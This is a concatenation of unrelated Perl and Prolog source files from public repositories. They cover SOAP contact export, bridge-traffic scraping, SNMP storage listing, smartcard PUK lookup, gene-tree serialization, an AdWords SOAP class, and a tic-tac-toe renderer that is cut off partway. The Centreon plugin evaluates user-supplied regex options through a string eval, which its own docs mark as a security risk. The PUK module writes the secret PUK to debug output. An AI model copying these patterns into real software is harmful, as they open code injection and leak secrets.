# Copyright (C) 2006, 2007, 2009, 2010 Zimbra, Inc.
#
# The contents of this file are subject to the Zimbra Public License
# Version 1.3 ("License"); you may not use this file except in
# compliance with the License. You may obtain a copy of the License at
# http://www.zimbra.com/license.
#
# Software distributed under the License is distributed on an "AS IS"
# basis, WITHOUT WARRANTY OF ANY KIND, either express or implied.
# ***** END LICENSE BLOCK *****
#
use strict;
use lib '.';
use LWP::UserAgent;
use Getopt::Long;
use XmlDoc;
use Soap;
use ZimbraSoapTest;
# specific to this app
my ($format);
#standard options
my ($user, $pw, $host, $help); #standard
GetOptions("u|user=s" => \$user,
"f|format=s" => \$format,
"pw=s" => \$pw,
"h|host=s" => \$host,
"help|?" => \$help,);
if (!defined($user) || defined($help)) {
my $usage = <<END_OF_USAGE;
USAGE: $0 -u USER -f FORMAT
END_OF_USAGE
die $usage;
}
my $z = ZimbraSoapTest->new($user, $host, $pw);
$z->doStdAuth();
my $d = new XmlDoc;
$d->start("ExportContactsRequest", $Soap::ZIMBRA_MAIL_NS, { 'ct' => "csv", 'csvfmt' => "$format" });
$d->end();
my $response = $z->invokeMail($d->root());
print "REQUEST:\n-------------\n".$z->to_string_simple($d);
print "RESPONSE:\n--------------\n".$z->to_string_simple($response);
| nico01f/z-pec | ZimbraServer/src/perl/soap/exportContacts.pl | Perl | mit | 1,453 |
package VidinCalafatBridge;
use utf8;
use strict;
use Data::Dumper;
use CGI;
use Mojo::DOM;
use LWP::UserAgent;
use IO::File;
use Text::CSV;
use Log::Log4perl qw(:easy);
Log::Log4perl->easy_init($ERROR);
our $REQ_URL = "http://www.vidincalafatbridge.bg/en/page/117";
our $REQ_TIMEOUT = 10;
our $CSV_FILE = 'vidin-calafat-bridge-stats.csv';
sub new($;$)
{
my ($class, $settings) = @_;
my $self = {
%{ $settings || {} },
};
bless $self, $class;
return $self;
}
sub Handler($)
{
my ($self) = @_;
$$self{cgi} = new CGI;
}
sub ExtractTraffic($)
{
my ($self) = @_;
my $ua = LWP::UserAgent->new(
agent => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.123 Safari/537.36',
);
$ua->timeout( $REQ_TIMEOUT );
INFO "Requesting $REQ_URL";
my $resp = $ua->get($REQ_URL);
if($resp->is_success)
{
INFO "Successful request";
DEBUG "REQUESTED: $resp->decoded_content";
my $dom = Mojo::DOM->new($resp->decoded_content);
my $content = $dom->at("article.content");
my $result = [];
#print Dumper ($content);
my @strs = $content->find('p')->each;
for my $i ( 0 .. $#strs )
{
my $str = $strs[$i]->text;
$str =~ /The traffic on Danube Bridge Vidin - Calafat during the period (\d{1,2}\.\d{1,2}\.\d{4}) - (\d{1,2}\.\d{1,2}\.\d{4}) was around (\d+) vehicles./;
$$result[$i] = [$self->NormalizeDate($1), $self->NormalizeDate($2), $3];
}
$result = [ sort { $$a[0] cmp $$b[0] } @{ $result } ];
$self->WriteCsv($result);
}
else
{
ERROR "Failed request: " . $resp->status_line;
}
}
sub WriteCsv($$)
{
my ($self, $data) = @_;
my $csv = Text::CSV->new({ binary => 1 });
my $fh = IO::File->new();
$fh->open( $CSV_FILE, 'r+' )
or ERROR "Unable to open csv file: $CSV_FILE";
my @records = reverse $csv->getline_all( $fh, -1, 1 );
my $last_line = $records[0][0];
foreach my $new_row (@{ $data })
{
if($$last_line[0] gt $$new_row[0] || $$last_line[0] eq $$new_row[0])
{
next;
}
print $fh "\n\r" unless $$data[0] == $new_row;
INFO "New line printed: " . Dumper($new_row);
$csv->print( $fh, $new_row );
}
}
sub NormalizeDate($$)
{
my ($self, $date) = @_;
my @parts = reverse split '\.', $date;
my $fdate = join '-', @parts;
return $fdate;
}
1;
| suricactus/vidin-calafat-bridge | VidinCalafatBridge.pm | Perl | mit | 2,539 |
#
# Copyright 2016 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package snmp_standard::mode::liststorages;
use base qw(centreon::plugins::mode);
use strict;
use warnings;
my %oids_hrStorageTable = (
'hrstoragedescr' => '.1.3.6.1.2.1.25.2.3.1.3',
'hrfsmountpoint' => '.1.3.6.1.2.1.25.3.8.1.2',
'hrfsstorageindex' => '.1.3.6.1.2.1.25.3.8.1.7',
'hrstoragetype' => '.1.3.6.1.2.1.25.2.3.1.2',
);
my $oid_hrStorageAllocationUnits = '.1.3.6.1.2.1.25.2.3.1.4';
my $oid_hrStorageSize = '.1.3.6.1.2.1.25.2.3.1.5';
my $oid_hrStorageType = '.1.3.6.1.2.1.25.2.3.1.2';
my %storage_types_manage = (
'.1.3.6.1.2.1.25.2.1.1' => 'hrStorageOther',
'.1.3.6.1.2.1.25.2.1.2' => 'hrStorageRam',
'.1.3.6.1.2.1.25.2.1.3' => 'hrStorageVirtualMemory',
'.1.3.6.1.2.1.25.2.1.4' => 'hrStorageFixedDisk',
'.1.3.6.1.2.1.25.2.1.5' => 'hrStorageRemovableDisk',
'.1.3.6.1.2.1.25.2.1.6' => 'hrStorageFloppyDisk',
'.1.3.6.1.2.1.25.2.1.7' => 'hrStorageCompactDisc',
'.1.3.6.1.2.1.25.2.1.8' => 'hrStorageRamDisk',
'.1.3.6.1.2.1.25.2.1.9' => 'hrStorageFlashMemory',
'.1.3.6.1.2.1.25.2.1.10' => 'hrStorageNetworkDisk',
'.1.3.6.1.2.1.25.3.9.1' => 'hrFSOther',
'.1.3.6.1.2.1.25.3.9.2' => 'hrFSUnknown',
'.1.3.6.1.2.1.25.3.9.3' => 'hrFSBerkeleyFFS', # For Freebsd
'.1.3.6.1.2.1.25.3.9.4' => 'hrFSSys5FS',
'.1.3.6.1.2.1.25.3.9.5' => 'hrFSFat',
'.1.3.6.1.2.1.25.3.9.6' => 'hrFSHPFS',
'.1.3.6.1.2.1.25.3.9.7' => 'hrFSHFS',
'.1.3.6.1.2.1.25.3.9.8' => 'hrFSMFS',
'.1.3.6.1.2.1.25.3.9.9' => 'hrFSNTFS',
'.1.3.6.1.2.1.25.3.9.10' => 'hrFSVNode',
'.1.3.6.1.2.1.25.3.9.11' => 'hrFSJournaled',
'.1.3.6.1.2.1.25.3.9.12' => 'hrFSiso9660',
'.1.3.6.1.2.1.25.3.9.13' => 'hrFSRockRidge',
'.1.3.6.1.2.1.25.3.9.14' => 'hrFSNFS',
'.1.3.6.1.2.1.25.3.9.15' => 'hrFSNetware',
'.1.3.6.1.2.1.25.3.9.16' => 'hrFSAFS',
'.1.3.6.1.2.1.25.3.9.17' => 'hrFSDFS',
'.1.3.6.1.2.1.25.3.9.18' => 'hrFSAppleshare',
'.1.3.6.1.2.1.25.3.9.19' => 'hrFSRFS',
'.1.3.6.1.2.1.25.3.9.20' => 'hrFSDGCFS',
'.1.3.6.1.2.1.25.3.9.21' => 'hrFSBFS',
'.1.3.6.1.2.1.25.3.9.22' => 'hrFSFAT32',
'.1.3.6.1.2.1.25.3.9.23' => 'hrFSLinuxExt2',
);
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
$options{options}->add_options(arguments =>
{
"storage:s" => { name => 'storage' },
"name" => { name => 'use_name' },
"regexp" => { name => 'use_regexp' },
"regexp-isensitive" => { name => 'use_regexpi' },
"oid-filter:s" => { name => 'oid_filter', default => 'hrStorageDescr'},
"oid-display:s" => { name => 'oid_display', default => 'hrStorageDescr'},
"display-transform-src:s" => { name => 'display_transform_src' },
"display-transform-dst:s" => { name => 'display_transform_dst' },
"filter-storage-type:s" => { name => 'filter_storage_type', default => '^(hrStorageFixedDisk|hrStorageNetworkDisk|hrFSBerkeleyFFS)$' },
});
$self->{storage_id_selected} = [];
return $self;
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::init(%options);
$self->{option_results}->{oid_filter} = lc($self->{option_results}->{oid_filter});
if ($self->{option_results}->{oid_filter} !~ /^(hrstoragedescr|hrfsmountpoint)$/) {
$self->{output}->add_option_msg(short_msg => "Unsupported --oid-filter option.");
$self->{output}->option_exit();
}
$self->{option_results}->{oid_display} = lc($self->{option_results}->{oid_display});
if ($self->{option_results}->{oid_display} !~ /^(hrstoragedescr|hrfsmountpoint)$/) {
$self->{output}->add_option_msg(short_msg => "Unsupported --oid-display option.");
$self->{output}->option_exit();
}
}
sub run {
my ($self, %options) = @_;
$self->{snmp} = $options{snmp};
$self->manage_selection();
my $result = $self->get_additional_information();
foreach (sort @{$self->{storage_id_selected}}) {
my $display_value = $self->get_display_value(id => $_);
my $storage_type = $result->{$oid_hrStorageType . "." . $_};
if (!defined($storage_type) ||
($storage_types_manage{$storage_type} !~ /$self->{option_results}->{filter_storage_type}/i)) {
$self->{output}->output_add(long_msg => "Skipping storage '" . $display_value . "': no type or no matching filter type");
next;
}
$self->{output}->output_add(long_msg => "'" . $display_value . "' [size = " . $result->{$oid_hrStorageSize . "." . $_} * $result->{$oid_hrStorageAllocationUnits . "." . $_} . "B] [id = $_]");
}
$self->{output}->output_add(severity => 'OK',
short_msg => 'List storage:');
$self->{output}->display(nolabel => 1, force_ignore_perfdata => 1, force_long_output => 1);
$self->{output}->exit();
}
sub get_additional_information {
my ($self, %options) = @_;
$self->{snmp}->load(oids => [$oid_hrStorageType, $oid_hrStorageAllocationUnits, $oid_hrStorageSize], instances => $self->{storage_id_selected});
return $self->{snmp}->get_leef();
}
sub get_display_value {
my ($self, %options) = @_;
my $value = $self->{datas}->{$self->{option_results}->{oid_display} . "_" . $options{id}};
if (defined($self->{option_results}->{display_transform_src})) {
$self->{option_results}->{display_transform_dst} = '' if (!defined($self->{option_results}->{display_transform_dst}));
eval "\$value =~ s{$self->{option_results}->{display_transform_src}}{$self->{option_results}->{display_transform_dst}}";
}
return $value;
}
sub manage_selection {
my ($self, %options) = @_;
$self->{datas} = {};
$self->{datas}->{oid_filter} = $self->{option_results}->{oid_filter};
$self->{datas}->{oid_display} = $self->{option_results}->{oid_display};
$self->{datas}->{all_ids} = [];
my $request = [];
my $added = {};
foreach (($self->{option_results}->{oid_filter}, $self->{option_results}->{oid_display} )) {
next if (defined($added->{$_}));
$added->{$_} = 1;
if (/hrFSMountPoint/i) {
push @{$request}, ({ oid => $oids_hrStorageTable{hrfsmountpoint} }, { oid => $oids_hrStorageTable{hrfsstorageindex} });
} else {
push @{$request}, { oid => $oids_hrStorageTable{hrstoragedescr} };
}
}
my $result = $self->{snmp}->get_multiple_table(oids => $request);
foreach ((['filter', $self->{option_results}->{oid_filter}], ['display', $self->{option_results}->{oid_display}])) {
foreach my $key ($self->{snmp}->oid_lex_sort(keys %{$result->{ $oids_hrStorageTable{$$_[1]} }})) {
next if ($key !~ /\.([0-9]+)$/);
# get storage index
my $storage_index = $1;
if ($$_[1] =~ /hrFSMountPoint/i) {
$storage_index = $result->{ $oids_hrStorageTable{hrfsstorageindex} }->{$oids_hrStorageTable{hrfsstorageindex} . '.' . $storage_index};
}
if ($$_[0] eq 'filter') {
push @{$self->{datas}->{all_ids}}, $storage_index;
}
$self->{datas}->{$$_[1] . "_" . $storage_index} = $self->{output}->to_utf8($result->{ $oids_hrStorageTable{$$_[1]} }->{$key});
}
}
if (scalar(keys %{$self->{datas}}) <= 0) {
$self->{output}->add_option_msg(short_msg => "Can't get storages...");
$self->{output}->option_exit();
}
if ($self->{option_results}->{oid_filter} ne $self->{option_results}->{oid_display}) {
$result = $self->{snmp}->get_table(oid => $oids_hrStorageTable{$self->{option_results}->{oid_display}});
foreach my $key ($self->{snmp}->oid_lex_sort(keys %$result)) {
next if ($key !~ /\.([0-9]+)$/);
$self->{datas}->{$self->{option_results}->{oid_display} . "_" . $1} = $self->{output}->to_utf8($result->{$key});
}
}
if (!defined($self->{option_results}->{use_name}) && defined($self->{option_results}->{storage})) {
# get by ID
push @{$self->{storage_id_selected}}, $self->{option_results}->{storage};
my $name = $self->{datas}->{$self->{option_results}->{oid_display} . "_" . $self->{option_results}->{storage}};
if (!defined($name) && !defined($options{disco})) {
$self->{output}->add_option_msg(short_msg => "No storage found for id '" . $self->{option_results}->{storage} . "'.");
$self->{output}->option_exit();
}
} else {
foreach my $i (@{$self->{datas}->{all_ids}}) {
my $filter_name = $self->{datas}->{$self->{option_results}->{oid_filter} . "_" . $i};
next if (!defined($filter_name));
if (!defined($self->{option_results}->{storage})) {
push @{$self->{storage_id_selected}}, $i;
next;
}
if (defined($self->{option_results}->{use_regexp}) && defined($self->{option_results}->{use_regexpi}) && $filter_name =~ /$self->{option_results}->{storage}/i) {
push @{$self->{storage_id_selected}}, $i;
}
if (defined($self->{option_results}->{use_regexp}) && !defined($self->{option_results}->{use_regexpi}) && $filter_name =~ /$self->{option_results}->{storage}/) {
push @{$self->{storage_id_selected}}, $i;
}
if (!defined($self->{option_results}->{use_regexp}) && !defined($self->{option_results}->{use_regexpi}) && $filter_name eq $self->{option_results}->{storage}) {
push @{$self->{storage_id_selected}}, $i;
}
}
if (scalar(@{$self->{storage_id_selected}}) <= 0 && !defined($options{disco})) {
if (defined($self->{option_results}->{storage})) {
$self->{output}->add_option_msg(short_msg => "No storage found for name '" . $self->{option_results}->{storage} . "'.");
} else {
$self->{output}->add_option_msg(short_msg => "No storage found.");
}
$self->{output}->option_exit();
}
}
}
sub disco_format {
my ($self, %options) = @_;
$self->{output}->add_disco_format(elements => ['name', 'total', 'storageid']);
}
sub disco_show {
my ($self, %options) = @_;
$self->{snmp} = $options{snmp};
$self->manage_selection(disco => 1);
my $result;
if (scalar(@{$self->{storage_id_selected}}) > 0) {
$result = $self->get_additional_information()
}
foreach (sort @{$self->{storage_id_selected}}) {
my $display_value = $self->get_display_value(id => $_);
my $storage_type = $result->{$oid_hrStorageType . "." . $_};
next if (!defined($storage_type) ||
($storage_types_manage{$storage_type} !~ /$self->{option_results}->{filter_storage_type}/i));
$self->{output}->add_disco_entry(name => $display_value,
total => $result->{$oid_hrStorageSize . "." . $_} * $result->{$oid_hrStorageAllocationUnits . "." . $_},
storageid => $_);
}
}
1;
__END__
=head1 MODE
=over 8
=item B<--storage>
Set the storage (number expected) ex: 1, 2,... (empty means 'check all storage').
=item B<--name>
Allows to use storage name with option --storage instead of storage oid index.
=item B<--regexp>
Allows to use regexp to filter storage (with option --name).
=item B<--regexp-isensitive>
Allows to use regexp non case-sensitive (with --regexp).
=item B<--oid-filter>
Choose OID used to filter storage (default: hrStorageDescr) (values: hrStorageDescr, hrFSMountPoint).
=item B<--oid-display>
Choose OID used to display storage (default: hrStorageDescr) (values: hrStorageDescr, hrFSMountPoint).
=item B<--display-transform-src>
Regexp src to transform display value. (security risk!!!)
=item B<--display-transform-dst>
Regexp dst to transform display value. (security risk!!!)
=item B<--filter-storage-type>
Filter storage types with a regexp (Default: '^(hrStorageFixedDisk|hrStorageNetworkDisk|hrFSBerkeleyFFS)$').
=back
=cut
| bcournaud/centreon-plugins | snmp_standard/mode/liststorages.pm | Perl | apache-2.0 | 13,309 |
# OpenXPKI::Server::Workflow::Activity::SmartCard::ComputePUK
# Written by Oliver Welter for the OpenXPKI project 2012
# Copyright (c) 2012 by The OpenXPKI Project
package OpenXPKI::Server::Workflow::Activity::SmartCard::ComputePUK;
use strict;
use English;
use OpenXPKI::Server::Context qw( CTX );
use OpenXPKI::Serialization::Simple;
use OpenXPKI::Debug;
use base qw( OpenXPKI::Server::Workflow::Activity );
sub execute {
##! 1: 'start'
my $self = shift;
my $workflow = shift;
my $context = $workflow->context();
my $token_id = $context->param('token_id');
my $chip_id = $context->param('chip_id');
my $config = CTX('config');
# if smartcard type is "rsa[23]": throw an error (PUK is static and has to be administratively
# imported into the datapool before a personalization can happen). End processing.
if ($token_id !~ /^gem2/) {
OpenXPKI::Exception->throw(
message => 'I18N_OPENXPKI_SERVER_WORKFLOW_ACTIVITY_SMARTCARD_COMPUTEPUK_TOKEN_NOT_SUPPORTED',
params => {
TOKEN_ID => $token_id,
},
log => {
logger => CTX('log'),
priority => 'error',
facility => [ 'system', ],
},
);
}
# Check Connector for Puk Id (Lot Id)
my $lot_id = $config->get( "smartcard.cardinfo.lotid.$token_id" );
if (!$lot_id) {
if ($chip_id eq '000000000000000000000000') {
$lot_id = 'null';
} else {
$lot_id = 'unknown';
}
}
##! 32: 'got lot id ' . $lot_id
my $puk = $config->get( "smartcard.cardinfo.defaultpuk.$lot_id.$chip_id" );
if (!$puk) {
OpenXPKI::Exception->throw(
message => 'I18N_OPENXPKI_SERVER_WORKFLOW_ACTIVITY_SMARTCARD_COMPUTEPUK_NO_DEFAULT_PUK_AVAILABLE',
params => {
TOKEN_ID => $token_id,
CHIP_ID => $chip_id,
LOT_ID => $lot_id,
},
log => {
logger => CTX('log'),
priority => 'error',
facility => [ 'system', ],
},
);
}
##! 32: 'got puk ' . $puk
CTX('log')->log(
MESSAGE => "SmartCard $token_id from lot id $lot_id, puk was computed",
PRIORITY => 'info',
FACILITY => [ 'application' ],
);
$context->param({ _default_puk => $puk });
}
1;
__END__
=head1 Name OpenXPKI::Server::Workflow::Activity::SmartCard::ComputePUK
=head1 Description
Compute the default PUK for a smartcard based on chip_id and token_id.
=head2 Context parameters
=over 12
=item token_id
Serialnumber of the token.
=item chip_id
Chip Id of the token.
=item _default_puk (out)
Contains the computed default puk.
=back
=head1 Algorithm
Only Gemalto cards with a card id starting with gem2_ are supported.
There are multiple generations of cards in use and we need to obtain a
"lot id" to get the correct puk deriviation algorithm.
The lot id is queried from the config at I<smartcard.cardinfo.lotid.$tokenid>.
If no lot id is found, the lot id is set to "unknown.", except for cards where
the chip id is 0...0. Those are set to "null".
Lot Id and chip id are used to calculate the puk through a connector:
my $puk = $conn->get('smartcard.cardinfo.defaultpuk.$lotid.$chipid')
| durko/openxpki | core/server/OpenXPKI/Server/Workflow/Activity/SmartCard/ComputePUK.pm | Perl | apache-2.0 | 3,344 |
=head1 LICENSE
See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
use strict;
use warnings;
package Bio::EnsEMBL::Compara::Utils::GeneTreeHash;
use namespace::autoclean;
use Bio::EnsEMBL::Utils::Scalar qw(check_ref);
use Bio::EnsEMBL::Utils::Argument qw(rearrange);
sub convert {
my ($caller, $tree, @args) = @_;
my $self = bless {}, $caller;
my ($no_sequences, $aligned, $cdna, $exon_boundaries, $gaps, $cigar_line) =
rearrange([qw(NO_SEQUENCES ALIGNED CDNA EXON_BOUNDARIES GAPS CIGAR_LINE)], @args);
if (defined $no_sequences) {
$self->no_sequences($no_sequences);
}
if (defined $aligned) {
$self->aligned($aligned);
}
if (defined $cdna) {
$self->cdna($cdna);
}
if (defined $exon_boundaries) {
$self->exon_boundaries($exon_boundaries);
}
if (defined $gaps) {
$self->gaps($gaps);
}
$self->cigar_line($cigar_line);
$self->{_cached_seq_aligns} = {};
if ($tree->{'_pruned'} && $aligned) {
my $aln = $tree->root->get_SimpleAlign(-SEQ_TYPE => ($self->cdna ? 'cds' : undef), -REMOVE_GAPS => 1);
foreach my $seq ($aln->each_seq) {
$self->{_cached_seq_aligns}->{$seq->display_id} = $seq->seq;
}
} else {
delete $self->{_cached_seq_aligns};
}
return $self->_head_node($tree);
}
sub no_sequences {
my ($self, $no_seq) = @_;
if (defined ($no_seq)) {
$self->{_no_sequences} = $no_seq;
}
return $self->{_no_sequences};
}
sub aligned {
my ($self, $aligned) = @_;
if (defined ($aligned)) {
$self->{_aligned} = $aligned;
}
return $self->{_aligned};
}
sub cdna {
my ($self, $cdna) = @_;
if (defined ($cdna)) {
$self->{_cdna} = $cdna;
}
return $self->{_cdna};
}
sub exon_boundaries {
my ($self, $exon_boundaries) = @_;
if (defined ($exon_boundaries)) {
$self->{_exon_boundaries} = $exon_boundaries;
}
return $self->{_exon_boundaries};
}
sub gaps {
my ($self, $gaps) = @_;
if (defined ($gaps)) {
$self->{_gaps} = $gaps;
}
return $self->{_gaps};
}
sub cigar_line {
my ($self, $cigar_line) = @_;
if (defined ($cigar_line)) {
$self->{_cigar_line} = $cigar_line;
}
return $self->{_cigar_line};
}
sub _head_node {
my ($self, $tree) = @_;
my $hash = {
type => 'gene tree',
rooted => 1,
};
if($tree->can('stable_id')) {
$hash->{id} = $tree->stable_id();
}
# Bulk-load of all we need
my $compara_dba = $tree->adaptor->db;
my $members = $tree->get_all_Members;
my $gms = [map {$_->gene_member} @$members];
Bio::EnsEMBL::Compara::Utils::Preloader::load_all_DnaFrags($compara_dba->get_DnaFragAdaptor, $members, $gms);
my $taxa = Bio::EnsEMBL::Compara::Utils::Preloader::load_all_NCBITaxon($compara_dba->get_NCBITaxonAdaptor, [map {$_->species_tree_node} @{$tree->get_all_nodes}], [map {$_->genome_db} @$members]);
$compara_dba->get_NCBITaxonAdaptor->_load_tagvalues_multiple( $taxa );
unless($self->no_sequences()) {
my $seq_type = ($self->cdna ? 'cds' : undef);
Bio::EnsEMBL::Compara::Utils::Preloader::load_all_sequences($compara_dba->get_SequenceAdaptor, $seq_type, $members);
}
$hash->{tree} =
$self->_recursive_conversion($tree->root());
return $hash;
}
sub _recursive_conversion {
my ($self, $tree) = @_;
my $new_hash = $self->_convert_node($tree);
if($tree->get_child_count()) {
my @converted_children;
foreach my $child (@{$tree->sorted_children()}) {
my $converted_child = $self->_recursive_conversion($child);
push(@converted_children, $converted_child);
}
$new_hash->{children} = \@converted_children;
}
return $new_hash;
}
sub _convert_node {
my ($self, $node) = @_;
my $hash;
my $type = $node->get_value_for_tag('node_type');
my $boot = $node->get_value_for_tag('bootstrap');
my $dcs = $node->duplication_confidence_score();
my $stn = $node->species_tree_node();
$hash->{branch_length} = $node->distance_to_parent() + 0;
if($stn) {
$hash->{taxonomy} = {
id => $stn->taxon_id + 0,
scientific_name => $stn->get_scientific_name,
};
my $cn = $stn->get_common_name();
$hash->{taxonomy}{common_name} = $cn if $cn;
if (($stn->taxon_id == 10090) and ($stn->genome_db_id != 134)) { my $s = $stn->node_name; $s =~ s/Mus musculus/Mouse/; $hash->{taxonomy}->{common_name} = $s};
my $t = $stn->get_divergence_time();
$hash->{taxonomy}{timetree_mya} = $t + 0 if $t;
}
$hash->{confidence} = {};
if ($boot) {
$hash->{confidence}{bootstrap} = $boot + 0;
}
if ($dcs) {
$hash->{confidence}{duplication_confidence_score} = $dcs + 0;
}
if($type) {
$hash->{events} = { type => $type };
}
# Gaps -- on members and internal nodes
if ($self->gaps) {
my $no_gap_blocks = [];
my $cigar_line = check_ref ($node, 'Bio::EnsEMBL::Compara::GeneTreeMember')
? $node->cigar_line
: $node->consensus_cigar_line;
my @inters = split (/([MmDG])/, $cigar_line);
my $ms = 0;
my $box_start = 0;
my $box_end = 0;
while (@inters) {
$ms = (shift (@inters) || 1);
my $mtype = shift (@inters);
$box_end = $box_start + $ms;
if ($node->isa ('Bio::EnsEMBL::Compara::GeneTreeMember')) {
if ($mtype eq 'M') {
push @$no_gap_blocks, {"start" => $box_start,
"end" => $box_end,
"type" => 'low'
};
}
} else {
if ($mtype eq 'M') {
push @$no_gap_blocks, {"start" => $box_start,
"end" => $box_end,
"type" => "high"
}
} elsif ($mtype eq 'm') {
push @$no_gap_blocks, {"start" => $box_start,
"end" => $box_end,
"type" => 'low'
};
}
}
$box_start = $box_end;
}
$hash->{no_gaps} = $no_gap_blocks;
}
if(check_ref($node, 'Bio::EnsEMBL::Compara::GeneTreeMember')) {
my $gene = $node->gene_member();
# exon boundaries
if ($self->exon_boundaries) {
my $aligned_sequence_bounded_by_exon = $node->alignment_string('exon_bounded');
my @bounded_exons = split ' ', $aligned_sequence_bounded_by_exon;
pop @bounded_exons;
my $aligned_exon_lengths = [ map length ($_), @bounded_exons ];
my $aligned_exon_positions = [];
my $exon_end;
for my $exon_length (@$aligned_exon_lengths) {
$exon_end += $exon_length;
push @$aligned_exon_positions, $exon_end;
}
$hash->{exon_boundaries} = {
num_exons => scalar @$aligned_exon_positions,
positions => $aligned_exon_positions
};
}
$hash->{id} = { source => "EnsEMBL", accession => $gene->stable_id() };
$hash->{sequence} =
{
# type => 'protein', # are we sure we always have proteins?
id => [ { source => 'EnsEMBL', accession => $node->stable_id() } ],
location => sprintf('%s:%d-%d',$gene->dnafrag()->name(), $gene->dnafrag_start(), $gene->dnafrag_end())
};
$hash->{sequence}->{name} = $node->display_label() if $node->display_label();
unless($self->no_sequences()) {
my $aligned = $self->aligned();
my $mol_seq;
if($aligned) {
$mol_seq = $self->{_cached_seq_aligns}->{$node->stable_id} ||
($self->cdna() ? $node->alignment_string('cds') : $node->alignment_string());
}
else {
$mol_seq = ($self->cdna()) ? $node->other_sequence('cds') : $node->sequence();
}
$hash->{sequence}->{mol_seq} = { is_aligned => $aligned + 0, seq => $mol_seq };
$hash->{sequence}->{mol_seq}->{cigar_line} = $node->cigar_line() if $self->cigar_line();
}
}
return $hash;
}
1;
| Ensembl/ensembl-compara | modules/Bio/EnsEMBL/Compara/Utils/GeneTreeHash.pm | Perl | apache-2.0 | 8,822 |
package Google::Ads::AdWords::v201809::CampaignCriterionService::get;
use strict;
use warnings;
{ # BLOCK to scope variables
sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201809' }
__PACKAGE__->__set_name('get');
__PACKAGE__->__set_nillable();
__PACKAGE__->__set_minOccurs();
__PACKAGE__->__set_maxOccurs();
__PACKAGE__->__set_ref();
use base qw(
SOAP::WSDL::XSD::Typelib::Element
Google::Ads::SOAP::Typelib::ComplexType
);
our $XML_ATTRIBUTE_CLASS;
undef $XML_ATTRIBUTE_CLASS;
sub __get_attr_class {
return $XML_ATTRIBUTE_CLASS;
}
use Class::Std::Fast::Storable constructor => 'none';
use base qw(Google::Ads::SOAP::Typelib::ComplexType);
{ # BLOCK to scope variables
my %serviceSelector_of :ATTR(:get<serviceSelector>);
__PACKAGE__->_factory(
[ qw( serviceSelector
) ],
{
'serviceSelector' => \%serviceSelector_of,
},
{
'serviceSelector' => 'Google::Ads::AdWords::v201809::Selector',
},
{
'serviceSelector' => 'serviceSelector',
}
);
} # end BLOCK
} # end of BLOCK
1;
=pod
=head1 NAME
Google::Ads::AdWords::v201809::CampaignCriterionService::get
=head1 DESCRIPTION
Perl data type class for the XML Schema defined element
get from the namespace https://adwords.google.com/api/adwords/cm/v201809.
Gets campaign criteria. @param serviceSelector The selector specifying the {@link CampaignCriterion}s to return. @return A list of campaign criteria. @throws ApiException when there is at least one error with the request.
=head1 PROPERTIES
The following properties may be accessed using get_PROPERTY / set_PROPERTY
methods:
=over
=item * serviceSelector
$element->set_serviceSelector($data);
$element->get_serviceSelector();
=back
=head1 METHODS
=head2 new
my $element = Google::Ads::AdWords::v201809::CampaignCriterionService::get->new($data);
Constructor. The following data structure may be passed to new():
{
serviceSelector => $a_reference_to, # see Google::Ads::AdWords::v201809::Selector
},
=head1 AUTHOR
Generated by SOAP::WSDL
=cut
| googleads/googleads-perl-lib | lib/Google/Ads/AdWords/v201809/CampaignCriterionService/get.pm | Perl | apache-2.0 | 2,091 |
:- module(swish_render_tictactoe,
[ term_rendering//3
]).
:- use_module('../../gameyard_config').
:- use_module(library(http/html_write)).
:- use_module(swish(lib/render)).
:- use_module(tictactoe_state_space).
:- use_module(gameyard(misc/list_extras)).
:- register_renderer(tictactoe,"Render tic-tac-toe board representations.").
term_rendering(Term,_Vars,_Options) -->
{ is_tictactoe_state(Term),
LineHeight is 200/Term.size
},
html(div([ style('display:inline-block;'+
'line-height:'+LineHeight +'px;' +
'font-size:'+LineHeight+'px;'
),
'data-render'('Tic-Tac-Toe Board')
],
[ table(class('tictactoe-board'),
\tictactoe(Term)),
\tictactoe_style
])).
is_cell(X) :- tictactoe_state_space:is_empty(X).
is_cell(X) :- tictactoe_state_space:is_cross(X).
is_cell(X) :- tictactoe_state_space:is_circle(X).
is_tictactoe_state(Term) :-
is_dict(Term,tictactoe_state),
Term.size > 2,
length(Term.cells,Len),
Len is Term.size * Term.size,
foreach(member(C,Term.cells),is_cell(C)).
tictactoe(State) -->
{ Size = State.size,
Cells = State.cells},
tictactoe_rows(0,Size,Cells).
tictactoe_rows(Y,Y,_Cells) --> [].
tictactoe_rows(Y,Size,Cells) -->
{ Y < Size,
split(Size,Cells,Row,Rest) },
html(tr(\tictactoe_row(Row))),
{ Y1 is Y + 1 },
tictactoe_rows(Y1,Size,Rest).
tictactoe_row([]) --> [].
tictactoe_row([X|XS]) -->
html(td(\tictactoe_cell(X))),
tictactoe_row(XS).
tictactoe_cell(C) -->
{ tictactoe_state_space:is_circle(C) },
html('O').
tictactoe_cell(C) -->
{ tictactoe_state_space:is_cross(C) },
html('X').
tictactoe_cell(C) -->
{ tictactoe_state_space:is_empty(C) },
html(&('nbsp')).
tictactoe_style -->
html({|html||
<style>
.tictactoe-board {
border: 0px width: 200px height: 200px;
border-collapse: collapse;
}
.tictactoe-board td {
background: #ff;
text-align: center;
vertical-align: middle;
border: 1px solid #222;
}
.tictactoe tr:first {
border-top-style: none;
}
.tictactoe tr:last {
border-bottom-style: none;
}
.tictactoe td:first {
border-bottom-style: none;
}
